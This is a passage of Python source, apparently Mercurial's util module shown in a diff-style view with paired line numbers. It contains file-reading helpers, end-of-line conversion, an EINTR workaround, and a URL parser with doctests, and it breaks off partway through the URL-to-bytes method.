2268 if limit is None:
2269 nbytes = size
2269 nbytes = size
2270 else:
2270 else:
2271 nbytes = min(limit, size)
2271 nbytes = min(limit, size)
2272 s = nbytes and f.read(nbytes)
2272 s = nbytes and f.read(nbytes)
2273 if not s:
2273 if not s:
2274 break
2274 break
2275 if limit:
2275 if limit:
2276 limit -= len(s)
2276 limit -= len(s)
2277 yield s
2277 yield s
2278
2278
2279 class cappedreader(object):
2279 class cappedreader(object):
2280 """A file object proxy that allows reading up to N bytes.
2280 """A file object proxy that allows reading up to N bytes.
2281
2281
2282 Given a source file object, instances of this type allow reading up to
2282 Given a source file object, instances of this type allow reading up to
2283 N bytes from that source file object. Attempts to read past the allowed
2283 N bytes from that source file object. Attempts to read past the allowed
2284 limit are treated as EOF.
2284 limit are treated as EOF.
2285
2285
2286 It is assumed that I/O is not performed on the original file object
2286 It is assumed that I/O is not performed on the original file object
2287 in addition to I/O that is performed by this instance. If there is,
2287 in addition to I/O that is performed by this instance. If there is,
2288 state tracking will get out of sync and unexpected results will ensue.
2288 state tracking will get out of sync and unexpected results will ensue.
2289 """
2289 """
2290 def __init__(self, fh, limit):
2290 def __init__(self, fh, limit):
2291 """Allow reading up to <limit> bytes from <fh>."""
2291 """Allow reading up to <limit> bytes from <fh>."""
2292 self._fh = fh
2292 self._fh = fh
2293 self._left = limit
2293 self._left = limit
2294
2294
2295 def read(self, n=-1):
2295 def read(self, n=-1):
2296 if not self._left:
2296 if not self._left:
2297 return b''
2297 return b''
2298
2298
2299 if n < 0:
2299 if n < 0:
2300 n = self._left
2300 n = self._left
2301
2301
2302 data = self._fh.read(min(n, self._left))
2302 data = self._fh.read(min(n, self._left))
2303 self._left -= len(data)
2303 self._left -= len(data)
2304 assert self._left >= 0
2304 assert self._left >= 0
2305
2305
2306 return data
2306 return data
2307
2307
2308 def readinto(self, b):
2308 def readinto(self, b):
2309 res = self.read(len(b))
2309 res = self.read(len(b))
2310 if res is None:
2310 if res is None:
2311 return None
2311 return None
2312
2312
2313 b[0:len(res)] = res
2313 b[0:len(res)] = res
2314 return len(res)
2314 return len(res)
2315
2315
2316 def unitcountfn(*unittable):
2316 def unitcountfn(*unittable):
2317 '''return a function that renders a readable count of some quantity'''
2317 '''return a function that renders a readable count of some quantity'''
2318
2318
2319 def go(count):
2319 def go(count):
2320 for multiplier, divisor, format in unittable:
2320 for multiplier, divisor, format in unittable:
2321 if abs(count) >= divisor * multiplier:
2321 if abs(count) >= divisor * multiplier:
2322 return format % (count / float(divisor))
2322 return format % (count / float(divisor))
2323 return unittable[-1][2] % count
2323 return unittable[-1][2] % count
2324
2324
2325 return go
2325 return go
2326
2326
2327 def processlinerange(fromline, toline):
2327 def processlinerange(fromline, toline):
2328 """Check that linerange <fromline>:<toline> makes sense and return a
2328 """Check that linerange <fromline>:<toline> makes sense and return a
2329 0-based range.
2329 0-based range.
2330
2330
2331 >>> processlinerange(10, 20)
2331 >>> processlinerange(10, 20)
2332 (9, 20)
2332 (9, 20)
2333 >>> processlinerange(2, 1)
2333 >>> processlinerange(2, 1)
2334 Traceback (most recent call last):
2334 Traceback (most recent call last):
2335 ...
2335 ...
2336 ParseError: line range must be positive
2336 ParseError: line range must be positive
2337 >>> processlinerange(0, 5)
2337 >>> processlinerange(0, 5)
2338 Traceback (most recent call last):
2338 Traceback (most recent call last):
2339 ...
2339 ...
2340 ParseError: fromline must be strictly positive
2340 ParseError: fromline must be strictly positive
2341 """
2341 """
2342 if toline - fromline < 0:
2342 if toline - fromline < 0:
2343 raise error.ParseError(_("line range must be positive"))
2343 raise error.ParseError(_("line range must be positive"))
2344 if fromline < 1:
2344 if fromline < 1:
2345 raise error.ParseError(_("fromline must be strictly positive"))
2345 raise error.ParseError(_("fromline must be strictly positive"))
2346 return fromline - 1, toline
2346 return fromline - 1, toline
2347
2347
2348 bytecount = unitcountfn(
2348 bytecount = unitcountfn(
2349 (100, 1 << 30, _('%.0f GB')),
2349 (100, 1 << 30, _('%.0f GB')),
2350 (10, 1 << 30, _('%.1f GB')),
2350 (10, 1 << 30, _('%.1f GB')),
2351 (1, 1 << 30, _('%.2f GB')),
2351 (1, 1 << 30, _('%.2f GB')),
2352 (100, 1 << 20, _('%.0f MB')),
2352 (100, 1 << 20, _('%.0f MB')),
2353 (10, 1 << 20, _('%.1f MB')),
2353 (10, 1 << 20, _('%.1f MB')),
2354 (1, 1 << 20, _('%.2f MB')),
2354 (1, 1 << 20, _('%.2f MB')),
2355 (100, 1 << 10, _('%.0f KB')),
2355 (100, 1 << 10, _('%.0f KB')),
2356 (10, 1 << 10, _('%.1f KB')),
2356 (10, 1 << 10, _('%.1f KB')),
2357 (1, 1 << 10, _('%.2f KB')),
2357 (1, 1 << 10, _('%.2f KB')),
2358 (1, 1, _('%.0f bytes')),
2358 (1, 1, _('%.0f bytes')),
2359 )
2359 )
2360
2360
2361 class transformingwriter(object):
2361 class transformingwriter(object):
2362 """Writable file wrapper to transform data by function"""
2362 """Writable file wrapper to transform data by function"""
2363
2363
2364 def __init__(self, fp, encode):
2364 def __init__(self, fp, encode):
2365 self._fp = fp
2365 self._fp = fp
2366 self._encode = encode
2366 self._encode = encode
2367
2367
2368 def close(self):
2368 def close(self):
2369 self._fp.close()
2369 self._fp.close()
2370
2370
2371 def flush(self):
2371 def flush(self):
2372 self._fp.flush()
2372 self._fp.flush()
2373
2373
2374 def write(self, data):
2374 def write(self, data):
2375 return self._fp.write(self._encode(data))
2375 return self._fp.write(self._encode(data))
2376
2376
2377 # Matches a single EOL which can either be a CRLF where repeated CR
2377 # Matches a single EOL which can either be a CRLF where repeated CR
2378 # are removed or a LF. We do not care about old Macintosh files, so a
2378 # are removed or a LF. We do not care about old Macintosh files, so a
2379 # stray CR is an error.
2379 # stray CR is an error.
2380 _eolre = remod.compile(br'\r*\n')
2380 _eolre = remod.compile(br'\r*\n')
2381
2381
2382 def tolf(s):
2382 def tolf(s):
2383 return _eolre.sub('\n', s)
2383 return _eolre.sub('\n', s)
2384
2384
2385 def tocrlf(s):
2385 def tocrlf(s):
2386 return _eolre.sub('\r\n', s)
2386 return _eolre.sub('\r\n', s)
2387
2387
2388 def _crlfwriter(fp):
2388 def _crlfwriter(fp):
2389 return transformingwriter(fp, tocrlf)
2389 return transformingwriter(fp, tocrlf)
2390
2390
2391 if pycompat.oslinesep == '\r\n':
2391 if pycompat.oslinesep == '\r\n':
2392 tonativeeol = tocrlf
2392 tonativeeol = tocrlf
2393 fromnativeeol = tolf
2393 fromnativeeol = tolf
2394 nativeeolwriter = _crlfwriter
2394 nativeeolwriter = _crlfwriter
2395 else:
2395 else:
2396 tonativeeol = pycompat.identity
2396 tonativeeol = pycompat.identity
2397 fromnativeeol = pycompat.identity
2397 fromnativeeol = pycompat.identity
2398 nativeeolwriter = pycompat.identity
2398 nativeeolwriter = pycompat.identity
2399
2399
2400 if (pyplatform.python_implementation() == 'CPython' and
2400 if (pyplatform.python_implementation() == 'CPython' and
2401 sys.version_info < (3, 0)):
2401 sys.version_info < (3, 0)):
2402 # There is an issue in CPython that some IO methods do not handle EINTR
2402 # There is an issue in CPython that some IO methods do not handle EINTR
2403 # correctly. The following table shows what CPython version (and functions)
2403 # correctly. The following table shows what CPython version (and functions)
2404 # are affected (buggy: has the EINTR bug, okay: otherwise):
2404 # are affected (buggy: has the EINTR bug, okay: otherwise):
2405 #
2405 #
2406 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2406 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2407 # --------------------------------------------------
2407 # --------------------------------------------------
2408 # fp.__iter__ | buggy | buggy | okay
2408 # fp.__iter__ | buggy | buggy | okay
2409 # fp.read* | buggy | okay [1] | okay
2409 # fp.read* | buggy | okay [1] | okay
2410 #
2410 #
2411 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2411 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2412 #
2412 #
2413 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2413 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2414 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2414 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2415 #
2415 #
2416 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2416 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2417 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2417 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2418 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2418 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2419 # fp.__iter__ but not other fp.read* methods.
2419 # fp.__iter__ but not other fp.read* methods.
2420 #
2420 #
2421 # On modern systems like Linux, the "read" syscall cannot be interrupted
2421 # On modern systems like Linux, the "read" syscall cannot be interrupted
2422 # when reading "fast" files like on-disk files. So the EINTR issue only
2422 # when reading "fast" files like on-disk files. So the EINTR issue only
2423 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2423 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2424 # files approximately as "fast" files and use the fast (unsafe) code path,
2424 # files approximately as "fast" files and use the fast (unsafe) code path,
2425 # to minimize the performance impact.
2425 # to minimize the performance impact.
2426 if sys.version_info >= (2, 7, 4):
2426 if sys.version_info >= (2, 7, 4):
2427 # fp.readline deals with EINTR correctly, use it as a workaround.
2427 # fp.readline deals with EINTR correctly, use it as a workaround.
2428 def _safeiterfile(fp):
2428 def _safeiterfile(fp):
2429 return iter(fp.readline, '')
2429 return iter(fp.readline, '')
2430 else:
2430 else:
2431 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2431 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2432 # note: this may block longer than necessary because of bufsize.
2432 # note: this may block longer than necessary because of bufsize.
2433 def _safeiterfile(fp, bufsize=4096):
2433 def _safeiterfile(fp, bufsize=4096):
2434 fd = fp.fileno()
2434 fd = fp.fileno()
2435 line = ''
2435 line = ''
2436 while True:
2436 while True:
2437 try:
2437 try:
2438 buf = os.read(fd, bufsize)
2438 buf = os.read(fd, bufsize)
2439 except OSError as ex:
2439 except OSError as ex:
2440 # os.read only raises EINTR before any data is read
2440 # os.read only raises EINTR before any data is read
2441 if ex.errno == errno.EINTR:
2441 if ex.errno == errno.EINTR:
2442 continue
2442 continue
2443 else:
2443 else:
2444 raise
2444 raise
2445 line += buf
2445 line += buf
2446 if '\n' in buf:
2446 if '\n' in buf:
2447 splitted = line.splitlines(True)
2447 splitted = line.splitlines(True)
2448 line = ''
2448 line = ''
2449 for l in splitted:
2449 for l in splitted:
2450 if l[-1] == '\n':
2450 if l[-1] == '\n':
2451 yield l
2451 yield l
2452 else:
2452 else:
2453 line = l
2453 line = l
2454 if not buf:
2454 if not buf:
2455 break
2455 break
2456 if line:
2456 if line:
2457 yield line
2457 yield line
2458
2458
2459 def iterfile(fp):
2459 def iterfile(fp):
2460 fastpath = True
2460 fastpath = True
2461 if type(fp) is file:
2461 if type(fp) is file:
2462 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2462 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2463 if fastpath:
2463 if fastpath:
2464 return fp
2464 return fp
2465 else:
2465 else:
2466 return _safeiterfile(fp)
2466 return _safeiterfile(fp)
2467 else:
2467 else:
2468 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2468 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2469 def iterfile(fp):
2469 def iterfile(fp):
2470 return fp
2470 return fp
2471
2471
2472 def iterlines(iterator):
2472 def iterlines(iterator):
2473 for chunk in iterator:
2473 for chunk in iterator:
2474 for line in chunk.splitlines():
2474 for line in chunk.splitlines():
2475 yield line
2475 yield line
2476
2476
2477 def expandpath(path):
2477 def expandpath(path):
2478 return os.path.expanduser(os.path.expandvars(path))
2478 return os.path.expanduser(os.path.expandvars(path))
2479
2479
2480 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2480 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2481 """Return the result of interpolating items in the mapping into string s.
2481 """Return the result of interpolating items in the mapping into string s.
2482
2482
2483 prefix is a single character string, or a two character string with
2483 prefix is a single character string, or a two character string with
2484 a backslash as the first character if the prefix needs to be escaped in
2484 a backslash as the first character if the prefix needs to be escaped in
2485 a regular expression.
2485 a regular expression.
2486
2486
2487 fn is an optional function that will be applied to the replacement text
2487 fn is an optional function that will be applied to the replacement text
2488 just before replacement.
2488 just before replacement.
2489
2489
2490 escape_prefix is an optional flag that allows using doubled prefix for
2490 escape_prefix is an optional flag that allows using doubled prefix for
2491 its escaping.
2491 its escaping.
2492 """
2492 """
2493 fn = fn or (lambda s: s)
2493 fn = fn or (lambda s: s)
2494 patterns = '|'.join(mapping.keys())
2494 patterns = '|'.join(mapping.keys())
2495 if escape_prefix:
2495 if escape_prefix:
2496 patterns += '|' + prefix
2496 patterns += '|' + prefix
2497 if len(prefix) > 1:
2497 if len(prefix) > 1:
2498 prefix_char = prefix[1:]
2498 prefix_char = prefix[1:]
2499 else:
2499 else:
2500 prefix_char = prefix
2500 prefix_char = prefix
2501 mapping[prefix_char] = prefix_char
2501 mapping[prefix_char] = prefix_char
2502 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2502 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2503 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2503 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2504
2504
2505 def getport(port):
2505 def getport(port):
2506 """Return the port for a given network service.
2506 """Return the port for a given network service.
2507
2507
2508 If port is an integer, it's returned as is. If it's a string, it's
2508 If port is an integer, it's returned as is. If it's a string, it's
2509 looked up using socket.getservbyname(). If there's no matching
2509 looked up using socket.getservbyname(). If there's no matching
2510 service, error.Abort is raised.
2510 service, error.Abort is raised.
2511 """
2511 """
2512 try:
2512 try:
2513 return int(port)
2513 return int(port)
2514 except ValueError:
2514 except ValueError:
2515 pass
2515 pass
2516
2516
2517 try:
2517 try:
2518 return socket.getservbyname(pycompat.sysstr(port))
2518 return socket.getservbyname(pycompat.sysstr(port))
2519 except socket.error:
2519 except socket.error:
2520 raise error.Abort(_("no port number associated with service '%s'")
2520 raise error.Abort(_("no port number associated with service '%s'")
2521 % port)
2521 % port)
2522
2522
2523 class url(object):
2523 class url(object):
2524 r"""Reliable URL parser.
2524 r"""Reliable URL parser.
2525
2525
2526 This parses URLs and provides attributes for the following
2526 This parses URLs and provides attributes for the following
2527 components:
2527 components:
2528
2528
2529 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2529 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2530
2530
2531 Missing components are set to None. The only exception is
2531 Missing components are set to None. The only exception is
2532 fragment, which is set to '' if present but empty.
2532 fragment, which is set to '' if present but empty.
2533
2533
2534 If parsefragment is False, fragment is included in query. If
2534 If parsefragment is False, fragment is included in query. If
2535 parsequery is False, query is included in path. If both are
2535 parsequery is False, query is included in path. If both are
2536 False, both fragment and query are included in path.
2536 False, both fragment and query are included in path.
2537
2537
2538 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2538 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2539
2539
2540 Note that for backward compatibility reasons, bundle URLs do not
2540 Note that for backward compatibility reasons, bundle URLs do not
2541 take host names. That means 'bundle://../' has a path of '../'.
2541 take host names. That means 'bundle://../' has a path of '../'.
2542
2542
2543 Examples:
2543 Examples:
2544
2544
2545 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2545 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2546 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2546 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2547 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2547 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2548 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2548 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2549 >>> url(b'file:///home/joe/repo')
2549 >>> url(b'file:///home/joe/repo')
2550 <url scheme: 'file', path: '/home/joe/repo'>
2550 <url scheme: 'file', path: '/home/joe/repo'>
2551 >>> url(b'file:///c:/temp/foo/')
2551 >>> url(b'file:///c:/temp/foo/')
2552 <url scheme: 'file', path: 'c:/temp/foo/'>
2552 <url scheme: 'file', path: 'c:/temp/foo/'>
2553 >>> url(b'bundle:foo')
2553 >>> url(b'bundle:foo')
2554 <url scheme: 'bundle', path: 'foo'>
2554 <url scheme: 'bundle', path: 'foo'>
2555 >>> url(b'bundle://../foo')
2555 >>> url(b'bundle://../foo')
2556 <url scheme: 'bundle', path: '../foo'>
2556 <url scheme: 'bundle', path: '../foo'>
2557 >>> url(br'c:\foo\bar')
2557 >>> url(br'c:\foo\bar')
2558 <url path: 'c:\\foo\\bar'>
2558 <url path: 'c:\\foo\\bar'>
2559 >>> url(br'\\blah\blah\blah')
2559 >>> url(br'\\blah\blah\blah')
2560 <url path: '\\\\blah\\blah\\blah'>
2560 <url path: '\\\\blah\\blah\\blah'>
2561 >>> url(br'\\blah\blah\blah#baz')
2561 >>> url(br'\\blah\blah\blah#baz')
2562 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2562 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2563 >>> url(br'file:///C:\users\me')
2563 >>> url(br'file:///C:\users\me')
2564 <url scheme: 'file', path: 'C:\\users\\me'>
2564 <url scheme: 'file', path: 'C:\\users\\me'>
2565
2565
2566 Authentication credentials:
2566 Authentication credentials:
2567
2567
2568 >>> url(b'ssh://joe:xyz@x/repo')
2568 >>> url(b'ssh://joe:xyz@x/repo')
2569 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2569 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2570 >>> url(b'ssh://joe@x/repo')
2570 >>> url(b'ssh://joe@x/repo')
2571 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2571 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2572
2572
2573 Query strings and fragments:
2573 Query strings and fragments:
2574
2574
2575 >>> url(b'http://host/a?b#c')
2575 >>> url(b'http://host/a?b#c')
2576 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2576 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2577 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2577 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2578 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2578 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2579
2579
2580 Empty path:
2580 Empty path:
2581
2581
2582 >>> url(b'')
2582 >>> url(b'')
2583 <url path: ''>
2583 <url path: ''>
2584 >>> url(b'#a')
2584 >>> url(b'#a')
2585 <url path: '', fragment: 'a'>
2585 <url path: '', fragment: 'a'>
2586 >>> url(b'http://host/')
2586 >>> url(b'http://host/')
2587 <url scheme: 'http', host: 'host', path: ''>
2587 <url scheme: 'http', host: 'host', path: ''>
2588 >>> url(b'http://host/#a')
2588 >>> url(b'http://host/#a')
2589 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2589 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2590
2590
2591 Only scheme:
2591 Only scheme:
2592
2592
2593 >>> url(b'http:')
2593 >>> url(b'http:')
2594 <url scheme: 'http'>
2594 <url scheme: 'http'>
2595 """
2595 """
2596
2596
2597 _safechars = "!~*'()+"
2597 _safechars = "!~*'()+"
2598 _safepchars = "/!~*'()+:\\"
2598 _safepchars = "/!~*'()+:\\"
2599 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2599 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2600
2600
2601 def __init__(self, path, parsequery=True, parsefragment=True):
2601 def __init__(self, path, parsequery=True, parsefragment=True):
2602 # We slowly chomp away at path until we have only the path left
2602 # We slowly chomp away at path until we have only the path left
2603 self.scheme = self.user = self.passwd = self.host = None
2603 self.scheme = self.user = self.passwd = self.host = None
2604 self.port = self.path = self.query = self.fragment = None
2604 self.port = self.path = self.query = self.fragment = None
2605 self._localpath = True
2605 self._localpath = True
2606 self._hostport = ''
2606 self._hostport = ''
2607 self._origpath = path
2607 self._origpath = path
2608
2608
2609 if parsefragment and '#' in path:
2609 if parsefragment and '#' in path:
2610 path, self.fragment = path.split('#', 1)
2610 path, self.fragment = path.split('#', 1)
2611
2611
2612 # special case for Windows drive letters and UNC paths
2612 # special case for Windows drive letters and UNC paths
2613 if hasdriveletter(path) or path.startswith('\\\\'):
2613 if hasdriveletter(path) or path.startswith('\\\\'):
2614 self.path = path
2614 self.path = path
2615 return
2615 return
2616
2616
2617 # For compatibility reasons, we can't handle bundle paths as
2617 # For compatibility reasons, we can't handle bundle paths as
2618 # normal URLS
2618 # normal URLS
2619 if path.startswith('bundle:'):
2619 if path.startswith('bundle:'):
2620 self.scheme = 'bundle'
2620 self.scheme = 'bundle'
2621 path = path[7:]
2621 path = path[7:]
2622 if path.startswith('//'):
2622 if path.startswith('//'):
2623 path = path[2:]
2623 path = path[2:]
2624 self.path = path
2624 self.path = path
2625 return
2625 return
2626
2626
2627 if self._matchscheme(path):
2627 if self._matchscheme(path):
2628 parts = path.split(':', 1)
2628 parts = path.split(':', 1)
2629 if parts[0]:
2629 if parts[0]:
2630 self.scheme, path = parts
2630 self.scheme, path = parts
2631 self._localpath = False
2631 self._localpath = False
2632
2632
2633 if not path:
2633 if not path:
2634 path = None
2634 path = None
2635 if self._localpath:
2635 if self._localpath:
2636 self.path = ''
2636 self.path = ''
2637 return
2637 return
2638 else:
2638 else:
2639 if self._localpath:
2639 if self._localpath:
2640 self.path = path
2640 self.path = path
2641 return
2641 return
2642
2642
2643 if parsequery and '?' in path:
2643 if parsequery and '?' in path:
2644 path, self.query = path.split('?', 1)
2644 path, self.query = path.split('?', 1)
2645 if not path:
2645 if not path:
2646 path = None
2646 path = None
2647 if not self.query:
2647 if not self.query:
2648 self.query = None
2648 self.query = None
2649
2649
2650 # // is required to specify a host/authority
2650 # // is required to specify a host/authority
2651 if path and path.startswith('//'):
2651 if path and path.startswith('//'):
2652 parts = path[2:].split('/', 1)
2652 parts = path[2:].split('/', 1)
2653 if len(parts) > 1:
2653 if len(parts) > 1:
2654 self.host, path = parts
2654 self.host, path = parts
2655 else:
2655 else:
2656 self.host = parts[0]
2656 self.host = parts[0]
2657 path = None
2657 path = None
2658 if not self.host:
2658 if not self.host:
2659 self.host = None
2659 self.host = None
2660 # path of file:///d is /d
2660 # path of file:///d is /d
2661 # path of file:///d:/ is d:/, not /d:/
2661 # path of file:///d:/ is d:/, not /d:/
2662 if path and not hasdriveletter(path):
2662 if path and not hasdriveletter(path):
2663 path = '/' + path
2663 path = '/' + path
2664
2664
2665 if self.host and '@' in self.host:
2665 if self.host and '@' in self.host:
2666 self.user, self.host = self.host.rsplit('@', 1)
2666 self.user, self.host = self.host.rsplit('@', 1)
2667 if ':' in self.user:
2667 if ':' in self.user:
2668 self.user, self.passwd = self.user.split(':', 1)
2668 self.user, self.passwd = self.user.split(':', 1)
2669 if not self.host:
2669 if not self.host:
2670 self.host = None
2670 self.host = None
2671
2671
2672 # Don't split on colons in IPv6 addresses without ports
2672 # Don't split on colons in IPv6 addresses without ports
2673 if (self.host and ':' in self.host and
2673 if (self.host and ':' in self.host and
2674 not (self.host.startswith('[') and self.host.endswith(']'))):
2674 not (self.host.startswith('[') and self.host.endswith(']'))):
2675 self._hostport = self.host
2675 self._hostport = self.host
2676 self.host, self.port = self.host.rsplit(':', 1)
2676 self.host, self.port = self.host.rsplit(':', 1)
2677 if not self.host:
2677 if not self.host:
2678 self.host = None
2678 self.host = None
2679
2679
2680 if (self.host and self.scheme == 'file' and
2680 if (self.host and self.scheme == 'file' and
2681 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2681 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2682 raise error.Abort(_('file:// URLs can only refer to localhost'))
2682 raise error.Abort(_('file:// URLs can only refer to localhost'))
2683
2683
2684 self.path = path
2684 self.path = path
2685
2685
2686 # leave the query string escaped
2686 # leave the query string escaped
2687 for a in ('user', 'passwd', 'host', 'port',
2687 for a in ('user', 'passwd', 'host', 'port',
2688 'path', 'fragment'):
2688 'path', 'fragment'):
2689 v = getattr(self, a)
2689 v = getattr(self, a)
2690 if v is not None:
2690 if v is not None:
2691 setattr(self, a, urlreq.unquote(v))
2691 setattr(self, a, urlreq.unquote(v))
2692
2692
2693 @encoding.strmethod
2693 @encoding.strmethod
2694 def __repr__(self):
2694 def __repr__(self):
2695 attrs = []
2695 attrs = []
2696 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2696 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2697 'query', 'fragment'):
2697 'query', 'fragment'):
2698 v = getattr(self, a)
2698 v = getattr(self, a)
2699 if v is not None:
2699 if v is not None:
2700 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2700 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2701 return '<url %s>' % ', '.join(attrs)
2701 return '<url %s>' % ', '.join(attrs)
2702
2702
2703 def __bytes__(self):
2703 def __bytes__(self):
2704 r"""Join the URL's components back into a URL string.
2704 r"""Join the URL's components back into a URL string.
2705
2705
2706 Examples:
2706 Examples:
2707
2707
2708 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2708 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2709 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2709 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2710 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2710 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2711 'http://user:pw@host:80/?foo=bar&baz=42'
2711 'http://user:pw@host:80/?foo=bar&baz=42'
2712 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2712 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2713 'http://user:pw@host:80/?foo=bar%3dbaz'
2713 'http://user:pw@host:80/?foo=bar%3dbaz'
2714 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2714 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2715 'ssh://user:pw@[::1]:2200//home/joe#'
2715 'ssh://user:pw@[::1]:2200//home/joe#'
2716 >>> bytes(url(b'http://localhost:80//'))
2716 >>> bytes(url(b'http://localhost:80//'))
2717 'http://localhost:80//'
2717 'http://localhost:80//'
2718 >>> bytes(url(b'http://localhost:80/'))
2718 >>> bytes(url(b'http://localhost:80/'))
2719 'http://localhost:80/'
2719 'http://localhost:80/'
2720 >>> bytes(url(b'http://localhost:80'))
2720 >>> bytes(url(b'http://localhost:80'))
2721 'http://localhost:80/'
2721 'http://localhost:80/'
2722 >>> bytes(url(b'bundle:foo'))
2722 >>> bytes(url(b'bundle:foo'))
2723 'bundle:foo'
2723 'bundle:foo'
2724 >>> bytes(url(b'bundle://../foo'))
2724 >>> bytes(url(b'bundle://../foo'))
2725 'bundle:../foo'
2725 'bundle:../foo'
2726 >>> bytes(url(b'path'))
2726 >>> bytes(url(b'path'))
2727 'path'
2727 'path'
2728 >>> bytes(url(b'file:///tmp/foo/bar'))
2728 >>> bytes(url(b'file:///tmp/foo/bar'))
2729 'file:///tmp/foo/bar'
2729 'file:///tmp/foo/bar'
2730 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2730 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2731 'file:///c:/tmp/foo/bar'
2731 'file:///c:/tmp/foo/bar'
2732 >>> print(url(br'bundle:foo\bar'))
2732 >>> print(url(br'bundle:foo\bar'))
2733 bundle:foo\bar
2733 bundle:foo\bar
2734 >>> print(url(br'file:///D:\data\hg'))
2734 >>> print(url(br'file:///D:\data\hg'))
2735 file:///D:\data\hg
2735 file:///D:\data\hg
2736 """
2736 """
2737 if self._localpath:
2737 if self._localpath:
2738 s = self.path
2738 s = self.path
2739 if self.scheme == 'bundle':
2739 if self.scheme == 'bundle':
2740 s = 'bundle:' + s
2740 s = 'bundle:' + s
2741 if self.fragment:
2741 if self.fragment:
2742 s += '#' + self.fragment
2742 s += '#' + self.fragment
2743 return s
2743 return s
2744
2744
2745 s = self.scheme + ':'
2745 s = self.scheme + ':'
2746 if self.user or self.passwd or self.host:
2746 if self.user or self.passwd or self.host:
2747 s += '//'
2747 s += '//'
2748 elif self.scheme and (not self.path or self.path.startswith('/')
2748 elif self.scheme and (not self.path or self.path.startswith('/')
2749 or hasdriveletter(self.path)):
2749 or hasdriveletter(self.path)):
2750 s += '//'
2750 s += '//'
2751 if hasdriveletter(self.path):
2751 if hasdriveletter(self.path):
2752 s += '/'
2752 s += '/'
2753 if self.user:
2753 if self.user:
2754 s += urlreq.quote(self.user, safe=self._safechars)
2754 s += urlreq.quote(self.user, safe=self._safechars)
2755 if self.passwd:
2755 if self.passwd:
2756 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2756 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2757 if self.user or self.passwd:
2757 if self.user or self.passwd:
2758 s += '@'
2758 s += '@'
2759 if self.host:
2759 if self.host:
